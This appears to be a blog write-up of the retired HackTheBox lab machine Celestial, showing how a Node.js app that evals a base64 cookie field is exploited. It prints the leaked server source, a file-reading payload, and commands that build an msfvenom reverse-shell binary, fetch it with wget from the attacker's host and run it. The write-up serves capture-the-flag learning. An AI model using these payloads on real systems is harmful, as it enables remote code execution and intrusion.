Posts HackTheBox Celestial Writeup
Post
Cancel

HackTheBox Celestial Writeup

Machine Info

This is a retired machine on HackTheBox.

Machine IP: 10.10.10.85 My machine IP: 10.10.14.19


Enumeration

The machine only have port 3000 open. This port runs a HTTP Server with Nodejs and Express. We are then given a cookie with the value:

1
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==

Which translates to:

1
2
3
4
5
6
{
    "username":"Dummy",
    "country":"Idk Probably Somewhere Dumb",
    "city":"Lametown",
    "num":"2"
}

And after we load the page, the page says:

Hey Dummy 2 + 2 is 22

At this point, I was sure that the output is processed by some kind of templating engine like Pug or Twig or Handlebars, I immediately go online to search for SSTI POCs and falsely concluded that the web server was using Twig. In fact, the web server is not using a templating engine at all. 3 hours wasted.

If I change the num property to abc. The web server returns:

ReferenceError: abc is not defined
   at eval (eval at <anonymous> (/home/sun/server.js:13:29), <anonymous>:1:3)
   at /home/sun/server.js:13:16
   at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
   at next (/home/sun/node_modules/express/lib/router/route.js:137:13)
   at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)
   at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
   at /home/sun/node_modules/express/lib/router/index.js:281:22
   at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)
   at next (/home/sun/node_modules/express/lib/router/index.js:275:10)
   at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)

The web server is clearly using eval as told by the obvious stack trace, and directly as well, no sandbox, no nothing. We also know the location and name of the source code file: /home/sun/server.js.

Unsafe evaluation of input data

We can retrieve the source code for the web server with the following payload in the num property:

1
require('fs').readFileSync('server.js').toString('utf8')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
 
app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) { 
     var sum = eval(obj.num + obj.num);
     res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
   }else{
     res.send("An error occurred...invalid username type"); 
   }
}else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("<h1>404</h1>");
});
app.listen(3000);

And RCE with eval in Nodejs is trivial. I can’t spawn a reverse connection with nc or bash, so I used msfvenom to generate a Linux reverse shell binary, start up my own web server and execute the following payload:

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=4444 -f elf -o reverse.elf
1
var cmd = require('child_process').spawnSync('wget',['http://10.10.14.19:8080/reverse.elf'],{'shell':true});cmd.stderr.toString();cmd.stdout.toString();
1
var cmd = require('child_process').spawnSync('chmod',['+x','reverse.elf'],{'shell':true});cmd.stderr.toString();cmd.stdout.toString();
1
var cmd = require('child_process').spawnSync('./reverse.elf',[],{'shell':true});cmd.stderr.toString();cmd.stdout.toString();

Root shell

Very easy, I won’t bother writing it down. Thanks for reading!

Further reading

  1. Nodejs reverse shell
This post is licensed under CC BY 4.0 by the author.